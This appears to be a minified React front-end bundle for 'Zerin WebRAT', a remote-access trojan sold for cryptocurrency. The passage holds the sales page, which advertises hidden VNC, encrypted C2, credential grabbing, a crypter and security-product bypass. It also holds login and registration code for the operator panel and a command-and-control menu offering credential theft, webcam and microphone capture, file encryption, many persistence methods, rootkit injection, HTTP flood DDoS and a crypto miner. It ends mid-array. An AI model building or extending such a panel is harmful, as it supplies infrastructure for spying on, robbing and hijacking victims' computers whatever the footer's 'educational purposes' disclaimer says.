tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:["Process concealment engine","Polymorphic payload generation","Persistence testing (12 methods)","Hidden VNC & remote desktop","Encrypted C2 (ChaCha20 + X25519)","Credential auditing module","SOCKS5 reverse proxy / pivoting","In-memory execution","Screen capture & input monitoring","All future updates included"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsx("button",{onClick:()=>c("rat"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden border border-zerin-accent text-zerin-accent font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:bg-zerin-accent/10 disabled:opacity-50 disabled:cursor-wait",children:s.jsx("span",{className:"relative z-10",children:r==="rat"?"Creating Invoice...":"Purchase with Crypto"})})})]})}),s.jsxs("div",{className:"group relative",children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 via-transparent to-zerin-accent/10 opacity-60 group-hover:opacity-100 transition-opacity duration-700 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 group-hover:border-zerin-accent/50 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Best Value"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-accent/80 uppercase mb-2",children:"WebRAT + Crypter"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$150"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$300"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsxs("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:[["Everything in WebRAT, plus:"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text font-semibold",children:u})]},u)),["PE Crypter — runtime packing engine","Polymorphic + metamorphic generation","Every build structurally unique","Indirect syscalls for EDR testing","Anti-analysis & environment checks","NTDLL restoration module","Security product bypass testing","Unique keys & code per build"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsxs("button",{onClick:()=>c("rat_crypter"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)] disabled:opacity-50 disabled:cursor-wait",children:[s.jsx("span",{className:"relative z-10",children:r==="rat_crypter"?"Creating Invoice...":"Purchase with Crypto"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover/btn:translate-x-full transition-transform duration-700"})]})})]})]})]}),s.jsxs("div",{className:"mt-8 text-center space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40 uppercase tracking-wider",children:"Accepted:"}),["BTC","ETH","LTC","XMR","USDT"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-text-muted/60 border border-[#1a1a22] px-1.5 py-0.5 hover:border-zerin-accent/20 hover:text-zerin-text-muted transition-colors duration-300",children:u},u))]}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/30 tracking-wider block",children:"Secure payment — License key delivered instantly after confirmation"})]})]})}),s.jsxs("section",{className:"relative z-10 py-32 px-6 text-center",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-5xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mb-10 max-w-md mx-auto",children:"Join the red team operators who trust Zerin for advanced adversary simulation and penetration testing."}),s.jsxs(dt,{to:"/register",className:"group relative inline-block overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-10 py-3.5 transition-all duration-300 hover:shadow-[0_0_40px_rgba(6,182,212,0.25)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Started"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function hj(){const e=p.useRef(null);return p.useEffect(()=>{const t=e.current;if(!t)return;const n=t.getContext("2d");let r,i=0;function a(){t.width=window.innerWidth,t.height=window.innerHeight}a(),window.addEventListener("resize",a);function o(){i+=.002,n.clearRect(0,0,t.width,t.height);const l=50,c=Math.ceil(t.width/l)+1,u=Math.ceil(t.height/l)+1;for(let d=0;d{cancelAnimationFrame(r),window.removeEventListener("resize",a)}},[]),s.jsxs(s.Fragment,{children:[s.jsx("canvas",{ref:e,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}}),s.jsx("div",{className:"fixed inset-0 pointer-events-none",style:{zIndex:1,background:"radial-gradient(ellipse at center, transparent 30%, rgba(4,4,10,0.7) 100%)"}})]})}const Kg="zerin.pro",xj="zerpanel-67ontoplol.top";function yx(){return window.location.hostname===Kg||window.location.hostname===`www.${Kg}`}function UA(){const e=ur(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(!1);async function u(d){d.preventDefault(),o(""),c(!0);try{if(await AE({username:t,password:r}),yx()){const f=rt();if(f){window.location.href=`https://${xj}/auth#token=${encodeURIComponent(f)}`;return}}e("/dashboard")}catch(f){f instanceof di?o(f.status===401?f.message||"Invalid credentials":`Server error: ${f.message}`):o("Connection failed. Is the server running?")}finally{c(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(hj,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Command & Control"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:u,className:"relative space-y-5",children:[a&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:a})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:d=>n(d.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Enter username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:d=>i(d.target.value),required:!0,autoComplete:"current-password",className:"auth-input",placeholder:"Enter password"})})]}),s.jsx("div",{className:"auth-stagger-5 pt-1",children:s.jsx("button",{type:"submit",disabled:l,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[l&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),l?"Authenticating...":"Sign In"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-6",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Don't have an account?"," ",s.jsx(dt,{to:"/register",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Register"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function VA(){const e=ur(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(""),[u,d]=p.useState(""),[f,m]=p.useState(!1);async function h(x){if(x.preventDefault(),d(""),!/^[a-zA-Z0-9]{3,32}$/.test(t)){d("Username must be 3-32 characters, alphanumeric only");return}if(r!==a){d("Passwords do not match");return}if(r.length<12){d("Password must be at least 12 characters");return}m(!0);try{if(await _E({username:t,password:r,license_key:l}),yx()){const g=rt();if(g){window.location.href=`https://${xj}/auth#token=${encodeURIComponent(g)}`;return}}e("/dashboard")}catch(g){if(g instanceof di)try{const y=JSON.parse(g.message);d(y.error||g.message)}catch{d(g.message)}else d("Connection failed. Is the server running?")}finally{m(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(hj,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Create Account"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:h,className:"relative space-y-5",children:[u&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:u})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:x=>n(x.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Choose a username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:x=>i(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Min 12 characters"})})]}),s.jsxs("div",{className:"auth-stagger-5",children:[s.jsx("label",{htmlFor:"confirmPassword",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Confirm Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"confirmPassword",type:"password",value:a,onChange:x=>o(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Repeat password"})})]}),s.jsxs("div",{className:"auth-stagger-6",children:[s.jsx("label",{htmlFor:"licenseKey",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"License Key"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"licenseKey",type:"text",value:l,onChange:x=>{const g=x.target.value;g.toLowerCase().startsWith("zer-")?c("zer-"+g.slice(4).toUpperCase()):c(g.toUpperCase())},required:!0,autoComplete:"off",spellCheck:!1,className:"auth-input font-mono",placeholder:"zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"})})]}),s.jsx("div",{className:"auth-stagger-7 pt-1",children:s.jsx("button",{type:"submit",disabled:f,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[f&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),f?"Creating Account...":"Register"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-8",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Already have an account?"," ",s.jsx(dt,{to:"/login",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Sign In"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function Vc(e){const t=Date.now(),n=new Date(e).getTime(),r=t-n;if(r<0)return"just now";const i=Math.floor(r/1e3),a=Math.floor(i/60),o=Math.floor(a/60),l=Math.floor(o/24);return i<5?"just now":i<60?`${i}s ago`:a<60?`${a}m ago`:o<24?`${o}h ago`:l<30?`${l}d ago`:new Date(e).toLocaleDateString()}function km(e,t=1){if(e<=0)return"0 B";const n=1024,r=["B","KB","MB","GB","TB"],i=Math.floor(Math.log(e)/Math.log(n));return`${parseFloat((e/Math.pow(n,i)).toFixed(t))} ${r[i]}`}function HA(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function No(e){return new Date(e).toLocaleString("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function So(e){const t=e.toLowerCase();return t.includes("windows")?"Windows":t.includes("linux")?"Linux":t.includes("darwin")||t.includes("macos")?"macOS":e}function Hs(e){return e.slice(0,8)}function vj(e,t){if(e<60)return`${e}s / ${t}%`;const n=Math.floor(e/60),r=e%60;return r===0?`${n}m / ${t}%`:`${n}m ${r}s / ${t}%`}function KA(e){return`data:image/bmp;base64,${e}`}function qA(e){return e.startsWith("Qk")}const _n="w-3.5 h-3.5 flex-shrink-0",Jt={eye:s.jsxs("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"})]}),info:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),terminal:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})}),folder:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"})}),pin:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 5a2 2 0 012-2h10a2 2 0 012 2v16l-7-3.5L5 21V5z"})}),key:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"})}),shield:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),sparkles:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3v4M3 5h4M6 17v4m-2-2h4m5-16l2.286 6.857L21 12l-5.714 2.143L13 21l-2.286-6.857L5 12l5.714-2.143L13 3z"})}),bolt:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),power:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18.364 5.636a9 9 0 010 12.728M5.636 5.636a9 9 0 000 12.728M12 2v4"})}),cog:s.jsxs("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]}),externalLink:s.jsx("svg",{className:"w-3 h-3 flex-shrink-0 opacity-40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"})}),search:s.jsx("svg",{className:"w-3.5 h-3.5 text-[#3a3a44]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})})},YA=new Set(["vnc","hvnc","webcam","mic","socks5","chat"]),GA=new Set(["remove","exit","uninstall","shutdown"]),XA=new Set(["ban"]),Yf=[{label:"Monitoring",icon:Jt.eye,group:1,commands:[{key:"ps",label:"Process List",nav:{tab:"processes"}},{key:"windows",label:"Window List",nav:{tab:"windows"}},{key:"screenshot",label:"Screenshot",nav:{tab:"screenshots",action:"screenshot"}},{key:"vnc",label:"Remote Desktop",nav:{action:"vnc"}},{key:"hvnc",label:"Hidden Desktop",nav:{action:"hvnc"}},{key:"webcam",label:"Webcam",nav:{action:"webcam"}},{key:"mic",label:"Microphone",nav:{action:"mic"}},{key:"socks5",label:"Reverse Proxy",nav:{action:"socks5"}},{key:"netstat",label:"Network Connections",nav:{tab:"overview",action:"submit"}},{key:"ifconfig",label:"Network Interfaces",nav:{tab:"overview",action:"submit"}}]},{label:"Information",icon:Jt.info,group:1,commands:[{key:"whoami",label:"Whoami",nav:{tab:"overview",action:"submit"}},{key:"sysinfo",label:"System Info",nav:{tab:"overview",action:"submit"}},{key:"specs",label:"System Specs",nav:{tab:"system"}},{key:"installed_apps",label:"Installed Apps",nav:{tab:"apps"}},{key:"env",label:"Environment Variables",nav:{tab:"overview",action:"submit"}},{key:"creds",label:"Grab Credentials",nav:{tab:"credentials",action:"submit"}}]},{label:"Execution",icon:Jt.terminal,group:2,commands:[{key:"shell",label:"Command Shell",nav:{tab:"overview"}},{key:"powershell",label:"PowerShell",nav:{tab:"overview"}},{key:"execute",label:"Execute File",nav:{action:"execute_upload"}}]},{label:"File Manager",icon:Jt.folder,group:2,commands:[{key:"ls",label:"Browse Files",nav:{tab:"files"}},{key:"upload",label:"Upload File",nav:{tab:"files"}},{key:"download",label:"Download File",nav:{tab:"files"}},{key:"encrypt",label:"Encrypt File",nav:{tab:"overview",action:"submit"}},{key:"decrypt",label:"Decrypt File",nav:{tab:"overview",action:"submit"}}]},{label:"Persistence",icon:Jt.pin,group:3,commands:[{key:"persist_runkey",label:"Run Key",nav:{tab:"overview",action:"submit"}},{key:"persist_schtask",label:"Scheduled Task",nav:{tab:"overview",action:"submit"}},{key:"persist_service",label:"Service",nav:{tab:"overview",action:"submit"}},{key:"persist_startup",label:"Startup Folder",nav:{tab:"overview",action:"submit"}},{key:"persist_logonscript",label:"Logon Script",nav:{tab:"overview",action:"submit"}},{key:"persist_screensaver",label:"Screensaver",nav:{tab:"overview",action:"submit"}},{key:"persist_ifeo",label:"IFEO Debugger",nav:{tab:"overview",action:"submit"}},{key:"persist_bits",label:"BITS Job",nav:{tab:"overview",action:"submit"}},{key:"persist_com",label:"COM Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_dllhijack",label:"DLL Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_wmi",label:"WMI Event Sub",nav:{tab:"overview",action:"submit"}},{key:"persist_portmon",label:"Port Monitor",nav:{tab:"overview",action:"submit"}},{key:"persist_ssp",label:"SSP (LSA)",nav:{tab:"overview",action:"submit"}}]},{label:"Registry",icon:Jt.key,group:3,commands:[{key:"reg_read",label:"Read Key",nav:{tab:"overview",action:"submit"}},{key:"reg_write",label:"Write Key",nav:{tab:"overview",action:"submit"}}]},{label:"Rootkit",icon:Jt.shield,group:3,commands:[{key:"rootkit_status",label:"Rootkit Status",nav:{tab:"overview",action:"submit"}},{key:"rootkit_inject",label:"Inject into PID",nav:{tab:"overview",action:"submit"}}]},{label:"Extra",icon:Jt.sparkles,group:4,commands:[{key:"troll_panel",label:"Troll Panel",nav:{tab:"troll"}},{key:"troll_msgbox",label:"Message Box",nav:{tab:"troll"}},{key:"troll_tts",label:"Text to Speech",nav:{tab:"troll"}},{key:"troll_website",label:"Open Website",nav:{tab:"troll"}},{key:"troll_wallpaper",label:"Change Wallpaper",nav:{tab:"troll"}},{key:"troll_taskbar",label:"Toggle Taskbar",nav:{tab:"troll"}},{key:"troll_cd_tray",label:"Open CD Tray",nav:{tab:"troll"}},{key:"chat",label:"Live Chat",nav:{action:"chat"}}]},{label:"Network Attack",icon:Jt.bolt,group:4,commands:[{key:"ddos_start",label:"HTTP Flood",nav:{tab:"ddos"}},{key:"miner_start",label:"Crypto Miner",nav:{tab:"miner"}}]},{label:"PC Options",icon:Jt.power,group:5,commands:[{key:"restart",label:"Restart PC",nav:{action:"confirm"}},{key:"shutdown",label:"Shutdown PC",nav:{action:"confirm"}}]},{label:"Bot Options",icon:Jt.cog,group:5,commands:[{key:"sleep",label:"Change Sleep",nav:{tab:"overview"}},{key:"exit",label:"Exit Agent",nav:{action:"confirm"}},{key:"uninstall",label:"Uninstall Agent",nav:{action:"confirm"}},{key:"ban",label:"Ban Agent",nav:{action:"ban"}},{key:"remove",label:"Remove from 